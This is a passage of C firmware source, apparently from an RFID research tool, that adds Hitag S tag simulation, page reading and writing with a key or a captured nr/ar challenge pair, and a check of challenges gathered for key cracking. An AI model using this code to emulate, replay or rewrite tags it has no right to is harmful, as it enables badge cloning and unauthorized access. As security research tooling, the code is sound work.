16; i++) + for (j = 0; j < 4; j++) + tag.pages[i][j] = 0x0; + //read tag data into memory + if (tag_mem_supplied) { + DbpString("Loading hitagS memory..."); + memcpy((byte_t*)tag.pages,data,4*64); + } + tag.uid=(uint32_t)tag.pages[0]; + Dbprintf("Hitag S simulation started"); + tag.key=(intptr_t)tag.pages[3]; + tag.key<<=16; + tag.key+=((tag.pages[2][0])<<8)+tag.pages[2][1]; + tag.pwdl0=tag.pages[2][3]; + tag.pwdl1=tag.pages[2][2]; + tag.pwdh0=tag.pages[1][0]; + //con0 + tag.max_page=64; + if((tag.pages[1][3]&0x2)==0 && (tag.pages[1][3]&0x1)==1) + tag.max_page=8; + if((tag.pages[1][3]&0x2)==0 && (tag.pages[1][3]&0x1)==0) + tag.max_page=0; + //con1 + tag.auth=0; + if((tag.pages[1][2]&0x80) == 0x80) + tag.auth=1; + tag.LCON=0; + if((tag.pages[1][2]&0x2) == 0x02) + tag.LCON=1; + tag.LKP=0; + if((tag.pages[1][2]&0x1) == 0x01) + tag.LKP=1; + //con2 + //0=read write 1=read only + tag.LCK7=0; + if((tag.pages[1][1]&0x80) == 0x80) + tag.LCK7=1; + tag.LCK6=0; + if((tag.pages[1][1]&0x40) == 0x040) + tag.LCK6=1; + tag.LCK5=0; + if((tag.pages[1][1]&0x20) == 0x20) + tag.LCK5=1; + tag.LCK4=0; + if((tag.pages[1][1]&0x10) == 0x10) + tag.LCK4=1; + tag.LCK3=0; + if((tag.pages[1][1]&0x8) == 0x08) + tag.LCK3=1; + tag.LCK2=0; + if((tag.pages[1][1]&0x4) == 0x04) + tag.LCK2=1; + tag.LCK1=0; + if((tag.pages[1][1]&0x2) == 0x02) + tag.LCK1=1; + tag.LCK0=0; + if((tag.pages[1][1]&0x1) == 0x01) + tag.LCK0=1; + +// Set up simulator mode, frequency divisor which will drive the FPGA +// and analog mux selection. + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT); + SpinDelay(20); + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz + SetAdcMuxFor(GPIO_MUXSEL_LOPKD); + RELAY_OFF(); + +// Configure output pin that is connected to the FPGA (for modulating) + AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; + AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; + +// Disable modulation at default, which means release resistance + LOW(GPIO_SSC_DOUT); + +// Enable Peripheral Clock for TIMER_CLOCK0, used to measure exact timing before answering + AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC0); + +// Enable Peripheral Clock for TIMER_CLOCK1, used to capture edges of the reader frames + AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1); + AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; + +// Disable timer during configuration + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + +// Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, +// external trigger rising edge, load RA on rising edge of TIOA. + AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK + | AT91C_TC_ETRGEDG_RISING | AT91C_TC_ABETRG | AT91C_TC_LDRA_RISING; + +// Reset the received frame, frame count and timing info + memset(rx, 0x00, sizeof(rx)); + frame_count = 0; + response = 0; + overflow = 0; + +// Enable and reset counter + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + + while (!BUTTON_PRESS()) { + // Watchdog hit + WDT_HIT(); + + // Receive frame, watch for at most T0*EOF periods + while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_EOF) { + // Check if rising edge in modulation is detected + if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { + // Retrieve the new timing values + int ra = (AT91C_BASE_TC1->TC_RA / T0) + overflow; + overflow = 0; + + // Reset timer every frame, we have to capture the last edge for timing + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + + LED_B_ON(); + + // Capture reader frame + if (ra >= HITAG_T_STOP) { + if (rxlen != 0) { + //DbpString("wierd0?"); + } + // Capture the T0 periods that have passed since last communication or field drop (reset) + response = (ra - HITAG_T_LOW); + } else if (ra >= HITAG_T_1_MIN) { + // '1' bit + rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); + rxlen++; + } else if (ra >= HITAG_T_0_MIN) { + // '0' bit + rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); + rxlen++; + } else { + // Ignore wierd value, is to small to mean anything + } + } + } + + // Check if frame was captured + if (rxlen > 0) { + frame_count++; + if (!bQuiet) { + if (!LogTraceHitag(rx, rxlen, response, 0, true)) { + DbpString("Trace full"); + clear_trace(); + } + } + + // Disable timer 1 with external trigger to avoid triggers during our own modulation + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + + // Process the incoming frame (rx) and prepare the outgoing frame (tx) + hitagS_handle_reader_command(rx, rxlen, tx, &txlen); + + // Wait for HITAG_T_WAIT_1 carrier periods after the last reader bit, + // not that since the clock counts since the rising edge, but T_Wait1 is + // with respect to the falling edge, we need to wait actually (T_Wait1 - T_Low) + // periods. The gap time T_Low varies (4..10). All timer values are in + // terms of T0 units + while (AT91C_BASE_TC0->TC_CV < T0 * (HITAG_T_WAIT_1 - HITAG_T_LOW)) + ; + + // Send and store the tag answer (if there is any) + if (txlen > 0) { + // Transmit the tag frame + hitag_send_frame(tx, txlen); + // Store the frame in the trace + if (!bQuiet) { + if (!LogTraceHitag(tx, txlen, 0, 0, false)) { + DbpString("Trace full"); + clear_trace(); + } + } + } + + // Reset the received frame and response timing info + memset(rx, 0x00, sizeof(rx)); + response = 0; + + // Enable and reset external trigger in timer for capturing future frames + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + LED_B_OFF(); + } + // Reset the frame length + rxlen = 0; + // Save the timer overflow, will be 0 when frame was received + overflow += (AT91C_BASE_TC1->TC_CV / T0); + // Reset the timer to restart while-loop that receives frames + AT91C_BASE_TC1->TC_CCR = AT91C_TC_SWTRG; + } + LED_B_OFF(); + LED_D_OFF(); + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); +} + +/* + * Authenticates to the Tag with the given key or challenge. + * If the key was given the password will be decrypted. + * Reads every page of a hitag S transpoder. + */ +void ReadHitagS(hitag_function htf, hitag_data* htd) { + int i, j, z, k; + int frame_count; + int response_bit[200]; + int response; + byte_t rx[HITAG_FRAME_LEN]; + size_t rxlen = 0; + byte_t txbuf[HITAG_FRAME_LEN]; + byte_t* tx = txbuf; + size_t txlen = 0; + int lastbit; + bool bSkip; + int reset_sof; + int tag_sof; + int t_wait = HITAG_T_WAIT_MAX; + bool bStop = false; + bool bQuitTraceFull = false; + int sendNum = 0; + unsigned char mask = 1; + unsigned char crc; + unsigned char pageData[32]; + page_to_be_written = 0; + + //read given key/challenge + byte_t NrAr_[8]; + uint64_t key = 0; + uint64_t NrAr = 0; + byte_t key_[6]; + switch (htf) { + case 01: { //RHTS_CHALLENGE + DbpString("Authenticating using nr,ar pair:"); + memcpy(NrAr_, htd->auth.NrAr, 8); + Dbhexdump(8, NrAr_, false); + NrAr = NrAr_[7] | ((uint64_t)NrAr_[6]) << 8 | ((uint64_t)NrAr_[5]) << 16 | ((uint64_t)NrAr_[4]) << 24 | ((uint64_t)NrAr_[3]) << 32 | + ((uint64_t)NrAr_[2]) << 40| ((uint64_t)NrAr_[1]) << 48 | ((uint64_t)NrAr_[0]) << 56; + } break; + case 02: { //RHTS_KEY + DbpString("Authenticating using key:"); + memcpy(key_, htd->crypto.key, 6); + Dbhexdump(6, key_, false); + key = key_[5] | ((uint64_t)key_[4]) << 8 | ((uint64_t)key_[3]) << 16 | ((uint64_t)key_[2]) << 24 | ((uint64_t)key_[1]) << 32 | ((uint64_t)key_[0]) << 40; + } break; + default: { + Dbprintf("Error , unknown function: %d",htf); + return; + } break; + } + + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + // Reset the return status + bSuccessful = false; + + // Clean up trace and prepare it for storing frames + set_tracing(true); + clear_trace(); + + bQuiet = false; + bQuitTraceFull = true; + + LED_D_ON(); + + // Configure output and enable pin that is connected to the FPGA (for modulating) + AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; + AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; + + // Set fpga in edge detect with reader field, we can modulate as reader now + FpgaWriteConfWord( + FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_READER_FIELD); + + // Set Frequency divisor which will drive the FPGA and analog mux selection + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz + SetAdcMuxFor(GPIO_MUXSEL_LOPKD); + RELAY_OFF(); + + // Disable modulation at default, which means enable the field + LOW(GPIO_SSC_DOUT); + + // Give it a bit of time for the resonant antenna to settle. + SpinDelay(30); + + // Enable Peripheral Clock for TIMER_CLOCK0, used to measure exact timing before answering + AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC0); + + // Enable Peripheral Clock for TIMER_CLOCK1, used to capture edges of the tag frames + AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1); + AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; + + // Disable timer during configuration + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + + // Capture mode, defaul timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, + // external trigger rising edge, load RA on falling edge of TIOA. + AT91C_BASE_TC1->TC_CMR = + AT91C_TC_CLKS_TIMER_DIV1_CLOCK | + AT91C_TC_ETRGEDG_FALLING | + AT91C_TC_ABETRG | + AT91C_TC_LDRA_FALLING; + + // Enable and reset counters + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + + // Reset the received frame, frame count and timing info + frame_count = 0; + response = 0; + lastbit = 1; + bStop = false; + + reset_sof = 1; + t_wait = 200; + + while (!bStop && !BUTTON_PRESS()) { + // Watchdog hit + WDT_HIT(); + + // Check if frame was captured and store it + if (rxlen > 0) { + frame_count++; + if (!bQuiet) { + if (!LogTraceHitag(rx, rxlen, response, 0, false)) { + DbpString("Trace full"); + if (bQuitTraceFull) { + break; + } else { + bQuiet = true; + } + } + } + } + + // By default reset the transmission buffer + tx = txbuf; + txlen = 0; + + if (rxlen == 0) { + //start authentication + txlen = 5; + memcpy(tx, "\xc0", nbytes(txlen)); + tag.pstate = HT_READY; + tag.tstate = HT_NO_OP; + } else if (tag.pstate != HT_SELECTED) { + if (hitagS_handle_tag_auth(htf, key,NrAr,rx, rxlen, tx, &txlen) == -1) + bStop = !false; + } + if (tag.pstate == HT_SELECTED && tag.tstate == HT_NO_OP && rxlen > 0) { + //send read request + tag.tstate = HT_READING_PAGE; + txlen = 20; + crc = CRC_PRESET; + tx[0] = 0xc0 + (sendNum / 16); + calc_crc(&crc, tx[0], 8); + calc_crc(&crc, 0x00 + ((sendNum % 16) * 16), 4); + tx[1] = 0x00 + ((sendNum % 16) * 16) + (crc / 16); + tx[2] = 0x00 + (crc % 16) * 16; + } else if (tag.pstate == HT_SELECTED && tag.tstate == HT_READING_PAGE + && rxlen > 0) { + //save received data + z = 0; + for (i = 0; i < 5; i++) { + for (j = 0; j < 8; j++) { + response_bit[z] = 0; + if ((rx[i] & ((mask << 7) >> j)) != 0) + response_bit[z] = 1; + z++; + } + } + k = 0; + for (i = 4; i < 36; i++) { + pageData[k] = response_bit[i]; + k++; + } + for (i = 0; i < 4; i++) + tag.pages[sendNum / 4][sendNum % 4] = 0x0; + for (i = 0; i < 4; i++) { + tag.pages[sendNum / 4][sendNum % 4] += ((pageData[i * 8] << 7) + | (pageData[1 + (i * 8)] << 6) + | (pageData[2 + (i * 8)] << 5) + | (pageData[3 + (i * 8)] << 4) + | (pageData[4 + (i * 8)] << 3) + | (pageData[5 + (i * 8)] << 2) + | (pageData[6 + (i * 8)] << 1) | pageData[7 + (i * 8)]) + << (i * 8); + } + if (tag.auth && tag.LKP && sendNum == 1) { + Dbprintf("Page[%2d]: %02X %02X %02X %02X", sendNum, pwdh0, + (tag.pages[sendNum / 4][sendNum % 4] >> 16) & 0xff, + (tag.pages[sendNum / 4][sendNum % 4] >> 8) & 0xff, + tag.pages[sendNum / 4][sendNum % 4] & 0xff); + } else { + Dbprintf("Page[%2d]: %02X %02X %02X %02X", sendNum, + (tag.pages[sendNum / 4][sendNum % 4] >> 24) & 0xff, + (tag.pages[sendNum / 4][sendNum % 4] >> 16) & 0xff, + (tag.pages[sendNum / 4][sendNum % 4] >> 8) & 0xff, + tag.pages[sendNum / 4][sendNum % 4] & 0xff); + } + + sendNum++; + //display key and password if possible + if (sendNum == 2 && tag.auth == 1 && tag.LKP) { + if (htf == 02) { //RHTS_KEY + Dbprintf("Page[ 2]: %02X %02X %02X %02X", + (byte_t)(key >> 8) & 0xff, + (byte_t) key & 0xff, pwdl1, pwdl0); + Dbprintf("Page[ 3]: %02X %02X %02X %02X", + (byte_t)(key >> 40) & 0xff, + (byte_t)(key >> 32) & 0xff, + (byte_t)(key >> 24) & 0xff, + (byte_t)(key >> 16) & 0xff); + } else { + //if the authentication is done with a challenge the key and password are unknown + Dbprintf("Page[ 2]: __ __ __ __"); + Dbprintf("Page[ 3]: __ __ __ __"); + } + } + + txlen = 20; + crc = CRC_PRESET; + tx[0] = 0xc0 + (sendNum / 16); + calc_crc(&crc, tx[0], 8); + calc_crc(&crc, 0x00 + ((sendNum % 16) * 16), 4); + tx[1] = 0x00 + ((sendNum % 16) * 16) + (crc / 16); + tx[2] = 0x00 + (crc % 16) * 16; + if (sendNum >= tag.max_page) { + bStop = !false; + } + } + + // Send and store the reader command + // Disable timer 1 with external trigger to avoid triggers during our own modulation + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + + // Wait for HITAG_T_WAIT_2 carrier periods after the last tag bit before transmitting, + // Since the clock counts since the last falling edge, a 'one' means that the + // falling edge occured halfway the period. with respect to this falling edge, + // we need to wait (T_Wait2 + half_tag_period) when the last was a 'one'. + // All timer values are in terms of T0 units + + while (AT91C_BASE_TC0->TC_CV < T0 * (t_wait + (HITAG_T_TAG_HALF_PERIOD * lastbit))) {}; + + // Transmit the reader frame + hitag_reader_send_frame(tx, txlen); + + // Enable and reset external trigger in timer for capturing future frames + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + + // Add transmitted frame to total count + if (txlen > 0) { + frame_count++; + if (!bQuiet) { + // Store the frame in the trace + if (!LogTraceHitag(tx, txlen, HITAG_T_WAIT_2, 0, true)) { + if (bQuitTraceFull) { + DbpString("Trace full"); + break; + } else { + bQuiet = true; + } + } + } + } + + // Reset values for receiving frames + memset(rx, 0x00, sizeof(rx)); + rxlen = 0; + lastbit = 1; + bSkip = true; + tag_sof = reset_sof; + response = 0; + + // Receive frame, watch for at most T0*EOF periods + while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_WAIT_MAX) { + // Check if falling edge in tag modulation is detected + if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { + // Retrieve the new timing values + int ra = (AT91C_BASE_TC1->TC_RA / T0); + + // Reset timer every frame, we have to capture the last edge for timing + AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + + LED_B_ON(); + + // Capture tag frame (manchester decoding using only falling edges) + if (ra >= HITAG_T_EOF) { + if (rxlen != 0) { + //DbpString("wierd1?"); + } + // Capture the T0 periods that have passed since last communication or field drop (reset) + // We always recieve a 'one' first, which has the falling edge after a half period |-_| + response = ra - HITAG_T_TAG_HALF_PERIOD; + } else if (ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { + // Manchester coding example |-_|_-|-_| (101) + rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); + rxlen++; + rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); + rxlen++; + } else if (ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { + // Manchester coding example |_-|...|_-|-_| (0...01) + rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); + rxlen++; + // We have to skip this half period at start and add the 'one' the second time + if (!bSkip) { + rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); + rxlen++; + } + lastbit = !lastbit; + bSkip = !bSkip; + } else if (ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { + // Manchester coding example |_-|_-| (00) or |-_|-_| (11) + if (tag_sof) { + // Ignore bits that are transmitted during SOF + tag_sof--; + } else { + // bit is same as last bit + rx[rxlen / 8] |= lastbit << (7 - (rxlen % 8)); + rxlen++; + } + } else { + // Ignore wierd value, is to small to mean anything + } + } + + // We can break this loop if we received the last bit from a frame + if (AT91C_BASE_TC1->TC_CV > T0 * HITAG_T_EOF) { + if (rxlen > 0) + break; + } + } + } + end = false; + LED_B_OFF(); + LED_D_OFF(); + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + + cmd_send(CMD_ACK, bSuccessful, 0, 0, 0, 0); +} + +/* + * Authenticates to the Tag with the given Key or Challenge. + * Writes the given 32Bit data into page_ + */ +void WritePageHitagS(hitag_function htf, hitag_data* htd,int page_) { + int frame_count; + int response; + byte_t rx[HITAG_FRAME_LEN]; + size_t rxlen = 0; + byte_t txbuf[HITAG_FRAME_LEN]; + byte_t* tx = txbuf; + size_t txlen = 0; + int lastbit; + bool bSkip; + int reset_sof; + int tag_sof; + int t_wait = HITAG_T_WAIT_MAX; + bool bStop; + bool bQuitTraceFull = false; + int page = page_; + unsigned char crc; + byte_t data[4]= {0,0,0,0}; + + //read given key/challenge, the page and the data + byte_t NrAr_[8]; + uint64_t key=0; + uint64_t NrAr=0; + byte_t key_[6]; + switch(htf) { + case 03: { //WHTS_CHALLENGE + memcpy(data,htd->auth.data,4); + DbpString("Authenticating using nr,ar pair:"); + memcpy(NrAr_,htd->auth.NrAr,8); + Dbhexdump(8,NrAr_,false); + NrAr=NrAr_[7] | ((uint64_t)NrAr_[6]) << 8 | ((uint64_t)NrAr_[5]) << 16 | ((uint64_t)NrAr_[4]) << 24 | ((uint64_t)NrAr_[3]) << 32 | + ((uint64_t)NrAr_[2]) << 40| ((uint64_t)NrAr_[1]) << 48 | ((uint64_t)NrAr_[0]) << 56; + } break; + case 04: { //WHTS_KEY + memcpy(data,htd->crypto.data,4); + DbpString("Authenticating using key:"); + memcpy(key_,htd->crypto.key,6); + Dbhexdump(6,key_,false); + key=key_[5] | ((uint64_t)key_[4]) << 8 | ((uint64_t)key_[3]) << 16 | ((uint64_t)key_[2]) << 24 | ((uint64_t)key_[1]) << 32 | ((uint64_t)key_[0]) << 40; + } break; + default: { + Dbprintf("Error , unknown function: %d",htf); + return; + } break; + } + + Dbprintf("Page: %d",page_); + Dbprintf("DATA: %02X %02X %02X %02X", data[0], data[1], data[2], data[3]); + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); +// Reset the return status + bSuccessful = false; + + tag.pstate = HT_READY; + tag.tstate = HT_NO_OP; + +// Clean up trace and prepare it for storing frames + set_tracing(true); + clear_trace(); + + bQuiet = false; + bQuitTraceFull = true; + + LED_D_ON(); + +// Configure output and enable pin that is connected to the FPGA (for modulating) + AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; + AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; + +// Set fpga in edge detect with reader field, we can modulate as reader now + FpgaWriteConfWord( + FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_READER_FIELD); + +// Set Frequency divisor which will drive the FPGA and analog mux selection + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz + SetAdcMuxFor(GPIO_MUXSEL_LOPKD); + RELAY_OFF(); + +// Disable modulation at default, which means enable the field + LOW(GPIO_SSC_DOUT); + +// Give it a bit of time for the resonant antenna to settle. + SpinDelay(30); + +// Enable Peripheral Clock for TIMER_CLOCK0, used to measure exact timing before answering + AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC0); + +// Enable Peripheral Clock for TIMER_CLOCK1, used to capture edges of the tag frames + AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1); + AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; + +// Disable timer during configuration + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + +// Capture mode, defaul timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, +// external trigger rising edge, load RA on falling edge of TIOA. + AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK + | AT91C_TC_ETRGEDG_FALLING | AT91C_TC_ABETRG + | AT91C_TC_LDRA_FALLING; + +// Enable and reset counters + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + +// Reset the received frame, frame count and timing info + frame_count = 0; + response = 0; + lastbit = 1; + bStop = false; + + reset_sof = 1; + t_wait = 200; + + while (!bStop && !BUTTON_PRESS()) { + // Watchdog hit + WDT_HIT(); + + // Check if frame was captured and store it + if (rxlen > 0) { + frame_count++; + if (!bQuiet) { + if (!LogTraceHitag(rx, rxlen, response, 0, false)) { + DbpString("Trace full"); + if (bQuitTraceFull) { + break; + } else { + bQuiet = true; + } + } + } + } + + //check for valid input + if (page == 0) { + Dbprintf( + "usage: lf hitag writer [03 | 04] [CHALLENGE | KEY] [page] [byte0] [byte1] [byte2] [byte3]"); + bStop = !false; + } + + // By default reset the transmission buffer + tx = txbuf; + txlen = 0; + + if (rxlen == 0 && tag.tstate == HT_WRITING_PAGE_ACK) { + //no write access on this page + Dbprintf("no write access on page %d", page_); + bStop = !false; + } else if (rxlen == 0 && tag.tstate != HT_WRITING_PAGE_DATA) { + //start the authetication + txlen = 5; + memcpy(tx, "\xc0", nbytes(txlen)); + tag.pstate = HT_READY; + tag.tstate = HT_NO_OP; + } else if (tag.pstate != HT_SELECTED) { + //try to authenticate with the given key or challenge + if (hitagS_handle_tag_auth(htf,key,NrAr,rx, rxlen, tx, &txlen) == -1) + bStop = !false; + } + if (tag.pstate == HT_SELECTED && tag.tstate == HT_NO_OP && rxlen > 0) { + //check if the given page exists + if (page > tag.max_page) { + Dbprintf("page number too big"); + bStop = !false; + } + //ask Tag for write permission + tag.tstate = HT_WRITING_PAGE_ACK; + txlen = 20; + crc = CRC_PRESET; + tx[0] = 0x90 + (page / 16); + calc_crc(&crc, tx[0], 8); + calc_crc(&crc, 0x00 + ((page % 16) * 16), 4); + tx[1] = 0x00 + ((page % 16) * 16) + (crc / 16); + tx[2] = 0x00 + (crc % 16) * 16; + } else if (tag.pstate == HT_SELECTED && tag.tstate == HT_WRITING_PAGE_ACK + && rxlen == 6 && rx[0] == 0xf4) { + //ACK recieved to write the page. send data + tag.tstate = HT_WRITING_PAGE_DATA; + txlen = 40; + crc = CRC_PRESET; + calc_crc(&crc, data[3], 8); + calc_crc(&crc, data[2], 8); + calc_crc(&crc, data[1], 8); + calc_crc(&crc, data[0], 8); + tx[0] = data[3]; + tx[1] = data[2]; + tx[2] = data[1]; + tx[3] = data[0]; + tx[4] = crc; + } else if (tag.pstate == HT_SELECTED && tag.tstate == HT_WRITING_PAGE_DATA + && rxlen == 6 && rx[0] == 0xf4) { + //received ACK + Dbprintf("Successful!"); + bStop = !false; + } + + // Send and store the reader command + // Disable timer 1 with external trigger to avoid triggers during our own modulation + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + + // Wait for HITAG_T_WAIT_2 carrier periods after the last tag bit before transmitting, + // Since the clock counts since the last falling edge, a 'one' means that the + // falling edge occured halfway the period. with respect to this falling edge, + // we need to wait (T_Wait2 + half_tag_period) when the last was a 'one'. + // All timer values are in terms of T0 units + + while (AT91C_BASE_TC0->TC_CV + < T0 * (t_wait + (HITAG_T_TAG_HALF_PERIOD * lastbit))) + ; + + // Transmit the reader frame + hitag_reader_send_frame(tx, txlen); + + // Enable and reset external trigger in timer for capturing future frames + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + + // Add transmitted frame to total count + if (txlen > 0) { + frame_count++; + if (!bQuiet) { + // Store the frame in the trace + if (!LogTraceHitag(tx, txlen, HITAG_T_WAIT_2, 0, true)) { + if (bQuitTraceFull) { + DbpString("Trace full"); + break; + } else { + bQuiet = true; + } + } + } + } + + // Reset values for receiving frames + memset(rx, 0x00, sizeof(rx)); + rxlen = 0; + lastbit = 1; + bSkip = true; + tag_sof = reset_sof; + response = 0; + + // Receive frame, watch for at most T0*EOF periods + while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_WAIT_MAX) { + // Check if falling edge in tag modulation is detected + if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { + // Retrieve the new timing values + int ra = (AT91C_BASE_TC1->TC_RA / T0); + + // Reset timer every frame, we have to capture the last edge for timing + AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + + LED_B_ON(); + + // Capture tag frame (manchester decoding using only falling edges) + if (ra >= HITAG_T_EOF) { + if (rxlen != 0) { + //DbpString("wierd1?"); + } + // Capture the T0 periods that have passed since last communication or field drop (reset) + // We always recieve a 'one' first, which has the falling edge after a half period |-_| + response = ra - HITAG_T_TAG_HALF_PERIOD; + } else if (ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { + // Manchester coding example |-_|_-|-_| (101) + rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); + rxlen++; + rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); + rxlen++; + } else if (ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { + // Manchester coding example |_-|...|_-|-_| (0...01) + rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); + rxlen++; + // We have to skip this half period at start and add the 'one' the second time + if (!bSkip) { + rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); + rxlen++; + } + lastbit = !lastbit; + bSkip = !bSkip; + } else if (ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { + // Manchester coding example |_-|_-| (00) or |-_|-_| (11) + if (tag_sof) { + // Ignore bits that are transmitted during SOF + tag_sof--; + } else { + // bit is same as last bit + rx[rxlen / 8] |= lastbit << (7 - (rxlen % 8)); + rxlen++; + } + } else { + // Ignore wierd value, is to small to mean anything + } + } + + // We can break this loop if we received the last bit from a frame + if (AT91C_BASE_TC1->TC_CV > T0 * HITAG_T_EOF) { + if (rxlen > 0) + break; + } + } + } + end=false; + LED_B_OFF(); + LED_D_OFF(); + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + cmd_send(CMD_ACK, bSuccessful, 0, 0, 0, 0); +} + +/* + * Tries to authenticate to a Hitag S Transponder with the given challenges from a .cc file. + * Displays all Challenges that failed. + * When collecting Challenges to break the key it is possible that some data + * is not received correctly due to Antenna problems. This function + * detects these challenges. + */ +void check_challenges(bool file_given, byte_t* data) { + int i, j, z, k; + byte_t uid_byte[4]; + int frame_count; + int response; + byte_t rx[HITAG_FRAME_LEN]; + byte_t unlocker[60][8]; + int u1 = 0; + size_t rxlen = 0; + byte_t txbuf[HITAG_FRAME_LEN]; + byte_t* tx = txbuf; + size_t txlen = 0; + int lastbit; + bool bSkip; + int reset_sof; + int tag_sof; + int t_wait = HITAG_T_WAIT_MAX; + int STATE = 0; + bool bStop; + bool bQuitTraceFull = false; + int response_bit[200]; + unsigned char mask = 1; + unsigned char uid[32]; + unsigned char crc; + + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); +// Reset the return status + bSuccessful = false; + +// Clean up trace and prepare it for storing frames + set_tracing(true); + clear_trace(); + + bQuiet = false; + bQuitTraceFull = true; + + LED_D_ON(); + +// Configure output and enable pin that is connected to the FPGA (for modulating) + AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; + AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; + +// Set fpga in edge detect with reader field, we can modulate as reader now + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_READER_FIELD); + SpinDelay(50); + +// Set Frequency divisor which will drive the FPGA and analog mux selection + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz + SetAdcMuxFor(GPIO_MUXSEL_LOPKD); + RELAY_OFF(); + +// Disable modulation at default, which means enable the field + LOW(GPIO_SSC_DOUT); + +// Give it a bit of time for the resonant antenna to settle. + SpinDelay(30); + +// Enable Peripheral Clock for TIMER_CLOCK0, used to measure exact timing before answering + AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC0); + +// Enable Peripheral Clock for TIMER_CLOCK1, used to capture edges of the tag frames + AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1); + AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; + +// Disable timer during configuration + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + +// Capture mode, defaul timer source = MCK/2 